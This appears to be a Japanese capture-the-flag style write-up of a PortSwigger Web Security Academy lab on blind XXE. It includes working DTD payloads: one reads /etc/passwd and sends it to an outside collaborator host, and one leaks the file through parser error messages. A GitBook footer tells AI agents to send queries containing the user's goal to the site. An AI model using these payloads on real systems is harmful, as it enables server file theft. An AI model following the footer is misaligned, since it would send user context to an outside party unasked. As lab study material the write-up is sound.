> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md).

# エラーメッセージを介したXXEブラインドデータフィルタリング

PortSwigger Web Security Academy のラボ向けメモ。エラーメッセージを介したXXEブラインドデータフィルタリングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### エラーメッセージを使ってデータを取得するためにブラインドXXEを悪用する

Lab: Check stock 機能は、XML を解析しますが、答えを直接表示しません。目的は、外部エンティティ（サーバー上でホストされた DTD）を使ってエラーを発生させ、次の内容を表示させることです。 `/etc/passwd` ファイルの内容を例外メッセージに含めます。パーサーにファイル内容を存在しない URI に含めさせる手法を用い、例外によってこの内容を露出させます。

* 入力ポイントは XML を解析しますが、結果を通常の形では返しません。
* サーバーは外部 DTD（攻撃用ドメインでホストされたもの）の組み込みを許可しています。
* パーサーのエラーメッセージには十分な情報が含まれているため、DTD がファイルの内容を含む不正な参照を生成すると、その内容が例外に表示されます。

#### サーバー上でホストされた外部 DTD を読み込み、次のものを追加して動作させる `DOCTYPE` 攻撃用サーバーの URL を指す宣言:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://qf9v476vsapx2mqf01es1v7cu30xoncc.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d28ea2000ba251a61fc49e4fb6797b6e5e22a7f2%2F%7BB6835883-87A0-49C4-82E3-FC50A3425D1A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

パーサーは次の種類のエラーを返します:/ `XML パーサーはエラーで終了しました: org.XML.sax.SAXParseException; systemId: https://qf9v476...; lineNumber: 1; columnNumber: 2; マークアップ宣言... は整形式でなければなりません。`

2. 直接列挙を試みる `/etc/passwd` （問題: 行数が多すぎる）:

```xml
<!ENTITY % file SYSTEM "file:////etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://rrmwg8iw4b1yen2gc2qtdwjd64c00qof.oastify.com/?content=%file;'>">
%eval;
%exfil;
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d515c6967570473060a2657f63eb3fd2a89aaae%2F%7B5B84651A-EFC5-4877-93A0-DD0F6E71C5D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

3. エラー文脈で使用する手法 — ファイルの内容をあり得ない参照に挿入し、パーサーに例外内で表示させる:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

への参照を発生させることで `file:///nonexistent/%file;`、パーサーは組み込まれたリソースのテキストを含む例外を生成し（`/etc/passwd`）、通常の復帰がないにもかかわらず内容を外部送信できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4acbda40ceed09952630432345d7334fe14f25d7%2F%7BE1882B4A-229B-4C50-B42F-AD4ABC5C93B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
